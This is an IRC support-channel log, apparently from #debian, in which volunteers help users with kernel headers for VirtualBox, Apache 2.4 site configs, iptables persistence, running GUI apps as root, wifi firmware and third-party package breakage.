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| 13:26.24 | simbalion | babilen: http://hastebin.com/raw/jiratulime |
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| 13:26.59 | babilen | simbalion: That looks fine .. I wonder why it didn't compile. Could you run "apt-get --reinstall install virtualbox-dkms" and paste the output ? |
| 13:27.19 | babilen | Ah, no |
| 13:27.26 | missmbob | he has 4.6 headers |
| 13:27.34 | babilen | You don't have headers for your current kernel |
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| 13:27.47 | simbalion | ah yes, that's what apt-get says too |
| 13:27.48 | babilen | You are booted into 3.16, but only have headers for 4.6 from backports |
| 13:27.57 | simbalion | how do I get the 3.16 headers? |
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| 13:28.20 | missmbob | apt-get install linux-headers-`uname -r` |
| 13:28.25 | babilen | Where did you install virtualbox-dkms from? jessie or jessie-backports? Do you plan to use the 4.6 kernel? |
| 13:29.07 | simbalion | thanks I got it |
| 13:29.12 | simbalion | babilen: I think so probably |
| 13:29.17 | simbalion | from backports that is |
| 13:29.36 | babilen | dpkg -l virtualbox-dkms|tail -n1? |
| 13:29.36 | dpkg | No packages found matching virtualbox-dkms|tail -n1 |
| 13:30.09 | simbalion | it is building vboxdrv now |
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| 13:30.50 | simbalion | and vm boots, thanks guys :) |
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| 13:31.16 | babilen | yw |
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| 13:33.35 | dionysus69 | please any suggestions? should I keep firefox developer edition in /opt or in /home/user/bin ? which way is recommended? |
| 13:34.50 | FinalX | doesn't really matter that much, in /opt it could be more easily accessible for other users. I prefer /opt myself usually, but, you know, doesn't really matter that much as long as you stick to your plan. |
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| 13:36.06 | jelly | dionysus69, if it's not packaged, something like /opt/firefox is just fine |
| 13:36.38 | dionysus69 | what about updating though, will it be able to update in opt since it will need sudo permissions |
| 13:36.45 | jelly | dionysus69, if only one user uses it, you can leave the files be owned by that user, then mozilla's auto-update will work |
| 13:36.49 | dionysus69 | thats why I thought maybe putting it in ~/bin would make sense |
| 13:37.18 | jelly | auto update works if you have write permissions. Doesn't matter where the files are. |
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| 13:38.14 | jelly | I keep my firefox esr in /opt, a symlink in /usr/local/bin and a .desktop file... dunno where. |
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| 13:38.50 | dionysus69 | I keep desktop files next to other desktop files :D |
| 13:39.01 | jelly | yes but there's a "right place" |
| 13:39.19 | jelly | something like /usr/local/share/applications AFAIR |
| 13:39.22 | dionysus69 | which is? |
| 13:39.31 | dionysus69 | yes thats whta I remember too |
| 13:39.38 | FinalX | I don't think you should be putting unpackaged software in /usr tbh |
| 13:39.43 | FinalX | gets messy real quick |
| 13:39.48 | missmbob | or just for user-specific ~/.local/share/applications |
| 13:39.54 | jelly | FinalX, /usr/local is exactly for that. |
| 13:40.26 | FinalX | sure, but hardly anyone uses it like that, people forget about it etc. |
| 13:40.46 | jelly | my admin is not hardly anyone |
| 13:41.14 | babilen | stows all the things |
| 13:41.59 | FinalX | well, good. I prefer to keep my unpackages apps each in their own dir, instead of installed together in /usr/local/{bin,sbin,lib} and alike; makes it way more easy to remove the entire thing in one go :) |
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| 13:42.10 | FinalX | or updating the whole thing in one go; like git clones |
| 13:42.36 | babilen | dpkg: stow usage |
| 13:42.36 | dpkg | A quick intro to <stow>: ./configure --prefix=/usr/local/stow/program-version && make && make install; cd /usr/local/stow/ ; stow program-version. Use stow -D to remove. See also <usrlocal>. |
| 13:42.54 | jelly | likewise, but I also have symlink to binaries and .desktop files under /usr/local in the right place |
| 13:43.09 | jelly | babilen, yuck! |
| 13:43.38 | missmbob | why not just checkinstall ? |
| 13:44.32 | jelly | it's not worth it for binary tarballs |
| 13:44.37 | jelly | much like stow |
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| 13:45.06 | jelly | (also it used to be horribly buggy and missed things, a decade or two ago) |
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| 13:45.36 | jelly | never forget! |
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| 13:46.54 | dionysus69 | I understand why I shouldnt put unpackaged software in /usr but is it ok to put symlink it /usr/bin ? or /home/user/bin is a better place for it? |
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| 13:47.44 | No_one_at_all | Hi, I've got a question about using iptables-restore on debian. I have a custom set of rules that are saved (as per default, apparently) to /etc/iptables/rules.v4 and rules.v6. When the box reboots, however, the rules are messed up. iptables -L shows the original rules, followed by the modified rules (which means the modified rules are never followed, because the original rules have several "ACCEPT all |
| 13:47.46 | No_one_at_all | anywhere" lines). This seems to indicate that the firewall rules are being loaded from two different locations, and not just /etc/iptables/rules.v*. What should I be doing if I want only my modified rules to be loaded? |
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| 13:48.37 | jelly | dionysus69, don't put it in /usr/bin; you are however free to populate /usr/local/bin which IS in the default PATH. |
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| 13:49.50 | jelly | No_one_at_all, you will probably have to figure out what other component or script sets the rules in addition to "iptables-persistent" which reads the paths you just mentioned. |
| 13:50.05 | dionysus69 | ok thanks jelly allot :) |
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| 13:54.40 | No_one_at_all | jelly: yeah, that's pretty much what I'm asking. I have no idea where to start |
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| 13:56.11 | apollo13 | mhm, any ideas why sudo would not match a netgroup https://dpaste.de/9oae/raw ? |
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| 14:04.24 | MasonHauk | anyone alive know about vga passthrough Im trying to get it working and Im getting this qemu-system-x86_64: -device pci-assign,host=06:00.0: No IOMMU found. Unable to assign device "(null)" |
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| 14:08.47 | dannysantos | how do I open graphical interfaces with root privilege? |
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| 14:10.17 | rjsalts | dannysantos, startx ( probably not the best idea though) if you're just trying to run a gui program as root there is also gksu/kdesudo/... |
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| 14:12.49 | dannysantos | rjsalts: I have tryed installing gksu and I installed also the libcanberra-gtk-module. But when I open gedit and write some text it appears this message: |
| 14:12.53 | dannysantos | (gedit:3191): Gtk-WARNING **: Calling Inhibit failed: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.gnome.SessionManager was not provided by any .service files |
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| 14:13.39 | dannysantos | should I be worried? |
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| 14:14.35 | bgardner_ | dannysantos: No, that's unrelated to what you're doing. |
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| 14:15.26 | slax0r | you can just run it from the terminal, sudo gedit file |
| 14:15.39 | slax0r | enter password in cli, and the running gui app will run with root privs |
| 14:15.54 | dannysantos | but in gedit without root permission it doesn't display any warning... |
| 14:16.24 | dannysantos | slax0r: it is not save to run gui with sudo, that's what I have heard |
| 14:16.27 | rjsalts | dannysantos, it's basically saying there is no gnome session manager running as root, which is because you didn't start one |
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| 14:16.43 | rjsalts | dannysantos, and you don't need one for gedit |
| 14:16.57 | dannysantos | rjsalts: thank you |
| 14:16.57 | slax0r | dannysantos: why? |
| 14:17.21 | bgardner | Thanks rjsalts, that's what I meant but yours was a way more coherent than I could have given. |
| 14:17.53 | dannysantos | slax0r: it can write some files that it shouldn't when you use some application |
| 14:18.17 | slax0r | dannysantos: how is it different with running it through gksu/kdesudo ? |
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| 14:18.39 | dannysantos | slax0r: I don't really know but that's what I have learned. Maybe someone in here could explain you better |
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| 14:19.15 | slax0r | then you haven't learned, you've just heard it somewhere, and are holding by it without researching what and why :) |
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| 14:23.15 | rjsalts | I assume gksu and kdesudo might clean up the environment a bit more. sudo foo from terminal only works if your DISPLAY and XAUTHORITY environment variables survive |
| 14:23.58 | rjsalts | which a sudo -i or su - will get rid of |
| 14:24.44 | rjsalts | otherwise sudo foo from terminal is just as safe as gksu/kdesudo |
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| 14:29.11 | Chloe | I compiled and installed a kernel from source, although it seems to be missing the lvm part, what do I need to do to set it up like the mainline packaged kernel so it have LVM too? |
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| 14:29.33 | slax0r | running graphical apps through sudo has nothing to do with being safe or unsafe, the main problem with it is that running such an app with sudo, will run the app as root, and for the app $HOME will still be your home dir, not roots home dir, and if that app has to create some config files, it will do so with root privs in your home dir, which will be inacessible to the app when you run it wihout sudo |
| 14:30.06 | slax0r | you can however bypass this by running it as sudo -H gedit file, which will set $HOME for the gui apps env to /root |
| 14:30.48 | slax0r | but it can still render .Xauthority inaccessible to you in some events, but in that case you can just simply rm ~/.Xauthority |
| 14:30.52 | slax0r | sudo rm* |
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| 14:34.03 | dannysantos | does anyone know if there is a option for gksu forget the pass? Because before I set to remind the pass for this session |
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| 15:00.06 | Meliorate | hi all, after recently upgrading from wheezy to jessie, i find that i am unable to compile any programs (litterally anything!), as there is some issue with libc(?): /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/4.9/../../../x86_64-linux-gnu/crti.o: unrecognized relocation (0x2a) in section `.init' |
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| 15:01.21 | Meliorate | i tried to reinstall a few related things, which made no difference |
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| 15:01.51 | DrOwl | I all, i am running stretch / xfce and having some issues with the logon manager and Num Lock, when i try to unlock the desktop the num lock light on the KB stays on, but the numeric pad is not in Number mode, Pressing Num Lock, makes it work and keeps the light on |
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| 15:03.29 | zykotick9 | DrOwl: for stretch support you might want to try #debian-next on the OFTC network. |
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| 15:04.32 | DrOwl | zykotick9: Thank you for the reminder =) |
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| 15:07.31 | rapha | Hi! |
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| 15:08.03 | rapha | How do I prevent the LightDM login screen to get activated after some period of inactivity? I |
| 15:08.27 | complib | not sure where to ask, is irc encrypted? |
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| 15:08.52 | rapha | 've xscreensaver installed and even light-lock uninstalled, and all XFCE settings are set to not have a screensaver at all. Yet after half an hour it always activates. |
| 15:08.59 | rapha | complib: it /can/ be. |
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| 15:09.46 | rapha | (running stretch with only XFCE installed, no other DE) |
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| 15:10.25 | complib | if from wireshark, i only see tcp does it mean my isp can track what i wrote over here? |
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| 15:10.49 | rapha | complib: what does TCP vs UDP have to do with encryption of any sort? |
| 15:11.37 | complib | i'm not sure what i'm talking about, if it's SSH i'm sure it's encrypted. |
| 15:12.01 | complib | if it's TCP, i'm not seeing any plain text from these TCP packets i'm seeing from wireshark |
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| 15:17.25 | complib | but TCP show it's port 6697, i suppose it's encrypted... |
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| 15:28.31 | DrOwl | complib: read up about the OSI model, "SSH" is a Layer 7 application, TCP is a Layer 3 Protical, "SSH" runs on top of TCP. |
| 15:29.17 | DrOwl | complib: but this is not the chanell for such discussions ;) |
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| 15:37.25 | plasmoduck | Could the IBM PC XT 5160 run Debian? |
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| 15:38.03 | awal1 | How to make screensaver show news from planet debian? I have this in screensaver preferences http://planet.debian.org/rss20.xml but no news shown. I remember under squeeze it works just fine |
| 15:38.05 | plasmoduck | wow 1983 |
| 15:38.08 | plasmoduck | I don't think so |
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| 15:38.41 | brokencycle | hi! |
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| 15:39.12 | rapha | complib: SSH and TCP are on two completely different levels of the protocol stack! SSH is on the application layer. TCP is on the transport layer and will be involved in all SSH communication. |
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| 15:41.39 | brokencycle | I would like to use mbsync, but habe trouble with the config file. Eg. |
| 15:41.42 | rapha | plasmoduck: the question would first have to be, can it run linux, and the answer would be a clear no since linux 0.01 was written for the 80386 and the XT was an 8088 only |
| 15:42.03 | plasmoduck | rapha: how about BSD? |
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| 15:42.18 | brokencycle | unknown section keyword 'User' under either IMAPStore or IMAPAccount |
| 15:42.21 | plasmoduck | thinks hp-ux possibly |
| 15:42.35 | rapha | google is your friend buddy :) |
| 15:42.45 | rapha | an interesting discussion is at http://retrobsd.org/viewtopic.php?f=3&t=2988 |
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| 15:43.10 | rapha | well, a short one, too |
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| 15:48.45 | KNERD | I just downloaded debian-live-8.5.0-amd64-cinnamon-desktop.iso , wrote it to a USB stick, booted and getting "vesamenu.c32: not a valid COM32R image" |
| 15:49.42 | missmbob | KNERD: how did you copy it to the usb? |
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| 15:51.07 | KNERD | Live USB creator |
| 15:51.29 | Fjorgynn | oh |
| 15:51.37 | karlpinc | I notice there was a php5 upgrade last night,including apache2's mod_php5. I'm curious at what point apache picks up this change, and whether the mod_pahp5 package sends a signal or something. But I'm not curious enough to figure it out myself so thought I'd see if anybody happens to know. |
| 15:51.39 | KNERD | I pressed tab, and ws able to use "amd64-live" and it booted |
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| 15:51.41 | missmbob | KNERD: stuff like that loves breaking debian installer. use cp like the install guide told you to |
| 15:51.54 | KNERD | missmbob: okay, thanks |
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| 15:58.34 | brokencycle | Ok... fixed that, but still habe a problem with the Tunnel command |
| 15:58.51 | luxflow | hello I'm making debian package and it depends on package `certbot` in jessie-backports, what should I write in debian/control Is `Depends: certbot` right? |
| 15:58.54 | brokencycle | any quick help for setting up a tunnel to access Gmail, please? |
| 15:59.10 | Fjorgynn | brokencycle: what? |
| 15:59.15 | bagbobilgins | brokencycle: hola |
| 15:59.27 | bagbobilgins | can't get much quicker than two syllables, sorry |
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| 15:59.46 | brokencycle | Fjordgynn: I'm trying to use mbsync to access Gmail, but am in China. :\ |
| 15:59.53 | karlpinc | luxflow: You can always ask in #debian-mentors. |
| 16:00.08 | brokencycle | bagbobilgins: hola |
| 16:00.10 | leba2 | In an example like `cat [some_instruction....]`, what's the name of these "diacritic" quotes? Or how do we call them in the linux context? Because, they're not the same as the simple quotes ' ' by any means... |
| 16:00.19 | luxflow | karlpinc : thanks but what's the difference between #debian and #debian-mentors? |
| 16:00.30 | karlpinc | leba2: backticks |
| 16:01.03 | luxflow | karlpinc : ChanServ has kicked luxflow (Invite only channel) :( sob sob.. |
| 16:01.17 | karlpinc | luxflow: #debian is for debian users. #debian-mentors is for helping people doing things that contribute to the debian project. |
| 16:01.44 | karlpinc | luxflow: Perhaps the wrong irc network. try irc.debian.org (which is otfc,.) |
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| 16:01.53 | luxflow | karlpinc thx! |
| 16:02.04 | brokencycle | I therefore need a tunnel, but don't quite understand how the tunnel should be set up. If I run mbsync, it just hangs (-V -D -l) |
| 16:02.08 | leba2 | Hallelujah, thanks. |
| 16:03.01 | luxflow | you're right irc.debian.org#debian-mentors |
| 16:03.02 | brokencycle | I already run tunnels to access my own imap server, and as a socks5 proxy for my web browser, so... |
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| 16:03.20 | brokencycle | and tried to specify a similar tunnel for mbsync |
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| 16:03.49 | karlpinc | luxflow: You can often get help here too, but .... |
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| 16:04.31 | leba2 | karlpinc: ah, wait, now that I did a search, they were also called "backquotes"? |
| 16:05.07 | bagbobilgins | leba2: I just call them "back ticks! |
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| 16:05.15 | bagbobilgins | s/!/"/ |
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| 16:06.27 | leba2 | My original inquiry was actually this same one http://stackoverflow.com/questions/9449778/what-is-the-benefit-of-using-instead-of-backticks-in-shell-scripts . Do you think I should follow thsi and just start using $() ? |
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| 16:06.31 | leba2 | *this |
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| 16:08.43 | bagbobilgins | nested strings would be simpler to parse than backticks if there were a lot of them, also seems strings are more portable |
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| 16:09.05 | plasmoduck | anyone know where I can get a keyboard that last a tux super key instead of the windows logo? |
| 16:09.39 | bagbobilgins | plasmoduck: you can get stickers for the super key from unixstickers.com |
| 16:09.57 | plasmoduck | I don't want no shitty sticker, I want a real key :/ |
| 16:11.07 | plasmoduck | Cool just found this https://www.amazon.com/ZaReason-Backlit-Tux-Keyboard/dp/B003ENI1T2?ie=UTF8&SubscriptionId=AKIAILSHYYTFIVPWUY6Q&camp=2025&creative=165953&creativeASIN=B003ENI1T2&linkCode=xm2&tag=duckduckgo-d-20 |
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| 16:11.17 | bagbobilgins | plasmoduck: http://www.wasdkeyboards.com/ lets you custom the whole keyboard |
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| 16:12.39 | Engys | plasmoduck ^^ get a real mx keyboard and use your own keys |
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| 16:16.20 | niten | Hello all! May I ask: Why is it that I'm not able to boot from a USB (with a full install), as it used to work with earlier Debian versions? (btw, Grub is on the USB Drive) |
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| 16:16.41 | niten | This still works with Ubuntu/Mint releases, but can't get Debian to work this way... |
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| 16:17.52 | sobeit | hi |
| 16:17.57 | babilen | o/ |
| 16:18.06 | disi | I'm running Debian 8 + GNOME 3, and I have a problem where only some letters appear. For example, my clock in the menu bar currently reads " e 9:1". How do I fix this (preferably without killing my session)? |
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| 16:18.14 | winnny | hi |
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| 16:18.36 | j-l | Hi |
| 16:18.39 | winnny | So let's say there is some central storage thing in network - and users may accidentally delete or change files - what tech gives me a great file history feature and easy recovery? |
| 16:18.50 | winnny | (permissions are already managed - I mean the accidental aspect) |
| 16:19.16 | bagbobilgins | disi: try alt+f2 for the run command, then enter "r" as the command (reloads gnome-shell in place) |
| 16:19.35 | karlpinc | winnny: lvm snapshots, combined with rsync hardlink backups as provided by rsync or rsnapshot. Or use zfs. |
| 16:20.13 | disi | gives bagbobilgins a beer |
| 16:20.14 | disi | thanks |
| 16:20.20 | karlpinc | winnny: That'd be rsync --link-dest |
| 16:20.20 | bagbobilgins | yw, slurp |
| 16:20.49 | karlpinc | niten: Are you using debian-live for your images? |
| 16:21.14 | winnny | karlpinc: nice! do you know some more ready-to-use solutions? even paid ones? |
| 16:21.22 | winnny | karlpinc: because in this case I really need something that just works out of the box |
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| 16:21.34 | winnny | network storage with file history + backups |
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| 16:21.57 | karlpinc | winnny: I think zfs is "out of the box". But really, no matter what you use you'll have to make choices to configure it. |
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| 16:22.23 | winnny | oh right |
| 16:22.25 | winnny | zfs you said |
| 16:22.25 | karlpinc | winnny: Although zfs is no substitute for backups. |
| 16:22.28 | calher | http://bluehome.net/~csh/error-install-qtox-jessie.txt |
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| 16:22.40 | winnny | karlpinc: so I still need a snapshot/incremental backup mechanism thing |
| 16:22.44 | winnny | zfs offers the file history then I guess? |
| 16:22.51 | winnny | is there also a GUI for ZFS for that history thing? |
| 16:22.52 | niten | Thx, @karlpinc! 'm using the netinstall file (debian-8.5.0-amd64-i386-netinst.iso). |
| 16:23.06 | karlpinc | winnny: I forget. It does gobs-o-stuff like that. |
| 16:23.08 | calher | Broke packages trying to install qTox on Debian Stable: http://bluehome.net/~csh/error-install-qtox-jessie.txt |
| 16:23.30 | j-l | Hi everybody |
| 16:23.42 | karlpinc | niten: You have an old install entirely on a usb key and it won't boot? |
| 16:24.13 | karlpinc | !tell calher about don't break debian |
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| 16:24.53 | calher | karlpinc, I just want qTox... |
| 16:25.08 | babilen | calher: You could try to enable jessie-backports and see if that helps, but then .. I wouldn't necessarily recommend to use random third-party repositories as they might (obviously) ship broken packages |
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| 16:25.37 | calher | babilen, this doesn't happen on Trisquel... |
| 16:25.51 | niten | karlpinc: The Debian 7.x files used to work, as still does Ubuntu/Mint. When I do a full install (since 8.0) on a USB Pen, I'm not able to boot from it...getting a black screen. It's a new install... |
| 16:26.14 | babilen | calher: trisquel isn't Debian |
| 16:26.34 | TomTomTosch | calher: then use trisquel. the packages it need are not in jessie, but in jessie-backports, so babilen's suggestion wasn't bad. |
| 16:27.02 | j-l | I'm looking for answers to a problem (I know I'm not alone) about sound that always at 0 (minimum) at each boot... |
| 16:27.02 | karlpinc | niten: Probably not a usb install issue, but rather a boot issue. Take a look at the jessie upgrade guide. It has a section on "things that go wrong". |
| 16:27.07 | babilen | calher: I don't know what else I can say. Some of the dependencies seem to be satisfied in jessie-backports (I have no idea which release qtox build against, but it wasn't jessie ...) so you could try throwing that into the mix. |
| 16:27.13 | sobeit | j-l apt-get install pavucontrol |
| 16:27.23 | j-l | Ok |
| 16:27.24 | sobeit | http://www.linuxquestions.org/questions/linux-hardware-18/debian-8-no-sound-at-startup-4175563842/ |
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| 16:27.46 | niten | karlpinc: Thx! Will give it a try. |
| 16:27.57 | calher | babilen, but Debian is a giant distro. It should be better than tiny, outdated Trisquel. |
| 16:28.17 | karlpinc | calher: What about building from source? |
| 16:28.30 | j-l | Installation in progress |
| 16:28.48 | j-l | I'm looking too the link you gave me |
| 16:28.49 | babilen | calher: They might have build their packages in a jessie+jessie-backports chroot or something completely different. This isn't about being better, this is about the fact that whoever built those qtox packages didn't build them correctly for jessie |
| 16:29.16 | winnny | wow - ZFS can be used over CIFS - so windows clients can see the history natively in the GUI :O :O |
| 16:29.19 | winnny | wooooooow |
| 16:29.20 | babilen | calher: I *guess* that they assumed that jessie-backports is available, but I have no idea about that |
| 16:29.27 | winnny | huu, I have to try this now in a VM |
| 16:30.49 | j-l | I'm loggin off to test |
| 16:30.52 | calher | babilen, karlpinc building from source? God, you people are so "our way or GTFO". Do I really have to tell everyone to install Gentoo and just tell everyone to jump in a fire? |
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| 16:31.01 | j-l | I'm coming back |
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| 16:31.21 | babilen | calher: I don't understand your problem. Did you *enable* jessie-backports so that you can actually install the dependencies? |
| 16:32.12 | babilen | calher: Which instructions did you follow and why do you blame *us* just because some random packages that are *supposed* to work on jessie don't? I mean .. it is easy to build broken packages, but you don't blame the distribution that they supposedly target |
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| 16:32.37 | calher | babilen, the official instructions from Tox. |
| 16:32.48 | babilen | calher: link? |
| 16:33.20 | calher | Maybe I should have just gone to Tox and complained to them. https://tox.chat/download.html#gnulinux |
| 16:34.15 | babilen | calher: Yes, it is *their* packages that are broken. To me it looks as if they assume jessie-backport packages to be installable, but they don't mention that anywhere. |
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| 16:34.48 | babilen | So I really don't understand what you want Debian to do about it |
| 16:34.57 | babilen | Debian has nothing to do with that repository |
| 16:35.28 | brokencycle | thanks ... found a basic solution |
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| 16:37.13 | calher | babilen, you reject as hard and fast as a frickin XHTML parser |
| 16:37.20 | calher | It's annoying. |
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| 16:38.32 | TomTomTosch | calher: he even gave you a solution that you seem ignore. |
| 16:38.53 | TomTomTosch | s/seem/seem to/ |
| 16:39.11 | TomTomTosch | calher: what else do you want? |
| 16:39.36 | babilen | I guess calher wants me to package qtox for Debian proper and backport it to jessie |
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| 16:41.14 | calher | TomTomTosch, the 'solution' seems messy and hackish, and one thing that i will not stand for is duct taping a system together and waiting for it to break any moment |
| 16:41.34 | TomTomTosch | calher: then we can not help you. |
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| 16:41.55 | babilen | What is messy and hackish about using jessie-backports? |
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| 16:42.09 | babilen | You do want newer software than what is in jessie after all |
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| 16:43.43 | babilen | wtf? |
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| 17:00.36 | tortib | I'm using gnome and my wifi is only connecting at 72Mbps instead of 802.11n ; how can i resolve this? I set my router to use 802.11N only |
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| 17:06.43 | g00se | Could some kind soul please remind me how sites get enabled in Apache. I'm using a2ensite and it's not listing one that it should |
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| 17:08.06 | babilen | g00se: Is the config ending in .conf ? |
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| 17:08.14 | babilen | (the file that is) |
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| 17:08.43 | Dragonlance | anyone know where i can find the custom commands to control a piglow useing scratch gpio |
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| 17:09.23 | g00se | babilen: No. Maybe this shows it http://sprunge.us/EOZN |
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| 17:09.46 | g00se | babilen: is that a new thing?? |
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| 17:10.37 | Dragonlance | repeat anyone know where i can find the custom commands to control a piglow useing scratch gpio |
| 17:10.43 | babilen | g00se: Apache 2.4 since jessie |
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| 17:10.58 | kruug_ | Hello, I'm running Cinnamon on Debian Jessie, but currently my desktop icons are my $HOME directory, not my $HOME/Desktop directory. I've issued the `gsettings set org.nemo.preferences desktop-is-home-dir false` command, but that did not fix the issue. Can anyone assist further? |
| 17:11.13 | leachim6 | anyone else have a problem with the latest perl-base package? |
| 17:11.18 | leachim6 | It broke my stem and I had to downgrade |
| 17:11.23 | leachim6 | *system |
| 17:11.29 | babilen | Dragonlance: You might have better chance in a rasberry pi or piglow channel |
| 17:11.33 | leachim6 | for debian 8 that is |
| 17:11.48 | Dragonlance | tried no use |
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| 17:11.55 | Dragonlance | thanks though |
| 17:11.59 | babilen | g00se: nicholasgibbs.co.uk should be nicholasgibbs.co.uk.conf |
| 17:12.06 | leachim6 | sorry Dragonlance not familar with the HW, otherwise I would help |
| 17:12.12 | g00se | Yuk. Thanks |
| 17:12.19 | babilen | g00se: See https://www.debian.org/releases/stable/amd64/release-notes/ch-information.en.html#apache-httpd-incomat |
| 17:12.33 | Dragonlance | chears leachim6 |
| 17:12.38 | Dragonlance | bye |
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| 17:12.59 | leachim6 | I know it wasn't a debian question, but I don't like not being able to help people |
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| 17:14.10 | g00se | babilen: what's the current proper directory for logs please? |
| 17:14.12 | babilen | kruug_: Might want to investigate xdg-user-dirs settings |
| 17:14.22 | babilen | g00se: For Apache? |
| 17:14.28 | g00se | Yes |
| 17:14.36 | babilen | /var/log/apache* I guess :) |
| 17:14.51 | babilen | But you could also look in journalctl |
| 17:14.55 | babilen | (if you use that) |
| 17:14.58 | g00se | Well i really mean site logs |
| 17:15.05 | leachim6 | am I the only one who doesn't hate journalctl? |
| 17:15.11 | babilen | You are |
| 17:15.14 | babilen | ;) |
| 17:15.29 | leachim6 | as a sysadmin for a large webhosting company... |
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| 17:15.41 | leachim6 | folks have no idea how to properly configure logrotate |
| 17:15.47 | babilen | g00se: Hmm, don't have a reference jessie box with Apache .. or do I? (moved most setups to nginx by now) |
| 17:16.09 | leachim6 | ever seen a 50gb log file? I have...I'll never forget...or forgive |
| 17:16.12 | g00se | Maybe leachim6 knows? ;) |
| 17:16.14 | kruug_ | babilen: I don't understand. How would I start investigating those? |
| 17:16.39 | emankcin | 50GB log? Have fun parsing that |
| 17:16.43 | leachim6 | babilen: I have the same problem, I don't have any boxes or vms that run apache anymore |
| 17:16.48 | leachim6 | babilen: #1stworldServerProblems |
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| 17:17.14 | kruug_ | babilen: is that `cat ~/.config/user-dirs.dirs`? |
| 17:17.49 | tortib | how do I load firmware for a wifi card? |
| 17:17.54 | jhutchins | g00se: /var/log/apache2/* |
| 17:17.55 | leachim6 | hey tortib how are ya |
| 17:17.56 | tortib | do i add it to initrd? |
| 17:17.57 | babilen | kruug_: http://paste.debian.net/785624/ |
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| 17:18.00 | leachim6 | tortib: which wifi card? |
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| 17:18.05 | tortib | leachim6, 3165 intel |
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| 17:18.14 | babilen | kruug_: That's my configuration .. adapt it to your liking |
| 17:18.16 | leachim6 | tortib: which debia version? |
| 17:18.20 | tortib | jessie |
| 17:18.31 | leachim6 | tortib: most IPW card's drivers are loaded by default |
| 17:18.48 | babilen | leachim6: hehe, well done! ;) |
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| 17:18.53 | tortib | leachim6, that isn't what I'm asking at all is it? |
| 17:19.04 | tortib | leachim6, i want to use the ones from intels website and I need to know how to load those. |
| 17:19.14 | g00se | Thanks guys |
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| 17:19.21 | leachim6 | tortib: bad plan, https://wiki.debian.org/iwlwifi |
| 17:19.39 | emankcin | tortib, Usually the manufacturer will have a process to build and install |
| 17:19.57 | emankcin | If there are no packages within the Debian repos |
| 17:20.05 | tortib | emankcin, they just gave me the ucode files |
| 17:20.11 | tortib | and told me to copy them to /lib/firmware |
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| 17:21.21 | tortib | leachim6, that doesn't talk about the 3165 |
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| 17:22.04 | emankcin | tortib, Are there any modules you can run? It's been a while since I've had to troubleshoot wifi. Is ndiswrapper still a thing? |
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| 17:22.24 | babilen | tortib: You can just place the ucode in /lib/firmware |
| 17:22.51 | babilen | But it is usually preferred to install firmware packages "properly" (but that doesn't help you if the firmware you need hasn't been packaged) |
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| 17:23.12 | babilen | tortib: What's the name of the ucode files you are after? |
| 17:23.13 | tortib | babilen, so does it load it automatically? I don't understand |
| 17:23.18 | tortib | babilen, I got them from here |
| 17:23.27 | tortib | http://www.intel.com/content/www/us/en/support/network-and-i-o/wireless-networking/000005511.html |
| 17:23.34 | babilen | tortib: You would have to load the kernel module (or remove it and modprobe it again) |
| 17:23.35 | tortib | Intel® Dual Band Wireless-AC 3165 (starting from firmware XX.XX.13.0 and kernel 4.1) < what i downloaded |
| 17:24.10 | babilen | What's the exact name of the files that are being requested? |
| 17:24.37 | tortib | babilen, I don't know I just rebooted |
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| 17:24.43 | tortib | you could download the package and look yourself.... |
| 17:24.48 | tortib | I don't know what the file name has to do with anything tho |
| 17:26.16 | babilen | tortib: What does "lspci -nn|grep -i network" give you? What about "dmesg|grep firmware" â http://paste.debian.net |
| 17:26.27 | tortib | i'm having really slow speeds and my N connection is only connecting at 72Mbps |
| 17:26.36 | emankcin | tortib, what kernel version are you running? |
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| 17:26.58 | tortib | 4.6 |
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| 17:27.19 | emankcin | tortib, Should be supported |
| 17:27.35 | miesco | Hi. How do you manager your backups? Do you tar them? What if you need only one file? |
| 17:27.37 | tortib | well why is it only connecting at 72Mbps? |
| 17:27.43 | tortib | isn't 802.11 130Mbps? |
| 17:27.47 | tortib | 802.11n * |
| 17:27.58 | emankcin | Under perfect conditions, perhaps |
| 17:28.07 | babilen | tortib: And you installed firmware-iwlwifi from jessie-backports? |
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| 17:28.09 | FinalX | it scales with your signal quality |
| 17:28.19 | tortib | babilen, no i'm using the ones i downloaded |
| 17:28.22 | emankcin | I never trust rated wifi speeds. I never see them |
| 17:28.24 | babilen | Ah .. so the device is working? |
| 17:28.30 | tortib | FinalX, the signal quality is strong the router is in the next room over |
| 17:28.37 | teraflops | tortib: try changing the channel in the wireless AP. also enable 5ghz if compatible |
| 17:28.39 | babilen | nvm |
| 17:28.39 | tortib | babilen, yes it's working but slow |
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| 17:28.46 | tortib | teraflops, i have 5GHz enabled |
| 17:29.05 | babilen | stops debugging firmware problems then ... sigh |
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| 17:29.28 | teraflops | pick random channels and check the speeds |
| 17:29.40 | babilen | Well, pick empty ones! :) |
| 17:29.59 | tortib | it's only connecting AT 72 MBPS! |
| 17:30.04 | tortib | shouldn't it be connecting at 130Mbps?! |
| 17:30.13 | miesco | I tarred my home directory on a USB drive. I have done `tar xf home.tar -C extract` and its been taking like 30 minutes and its half done extracting... (97 GB) |
| 17:30.23 | miesco | `tar`'d |
| 17:30.26 | FinalX | tortib: hum, my router can do 1300mbit over wireless, but my laptop only gets 433mbit/s of it, and they're in the same room, but the modem is in a closet. any wall or door decreases the signal / throughput speed significantly |
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| 17:30.40 | tikun | I'm in the chatroom that is directly related to the question I have but I have found it to be notoriously dead in there.. does anyone happen to be familiar with SIP PBX systems? |
| 17:30.51 | miesco | Is it normal to tar a backup? |
| 17:30.59 | FinalX | also having 5ghz enabled doesn't mean it's using it, try debugging by installing the fritz!wlan app on your cellphone, it's really useful |
| 17:31.00 | tortib | FinalX, okay and how does that relate to what i'm talking about |
| 17:31.09 | tortib | FinalX, no thanks |
| 17:31.12 | FinalX | same proces. |
| 17:31.28 | FinalX | it scales down automatically. you're wondering why something is happening for you, go and debug it? |
| 17:31.43 | FinalX | how on earth are we supposed to know what's causing you grief in your own home |
| 17:31.48 | FinalX | if you won't debug it, nobody will |
| 17:32.23 | teraflops | tortib: well consider yourself lucky. it can even been worse. also the check speed is not looking at the applet or whatever. did you try real tests? |
| 17:32.27 | babilen | judd: file iwlwifi-7265-14.ucode --release jessie-backports |
| 17:32.28 | judd | Search for iwlwifi-7265-14.ucode in jessie-backports/amd64: firmware-iwlwifi: lib/firmware/iwlwifi-7265-14.ucode |
| 17:32.30 | babilen | fwiw |
| 17:32.35 | tortib | no this isn't fucking lucky |
| 17:32.38 | tortib | wtf are yout alking about shut the fuck up |
| 17:32.41 | emankcin | woah |
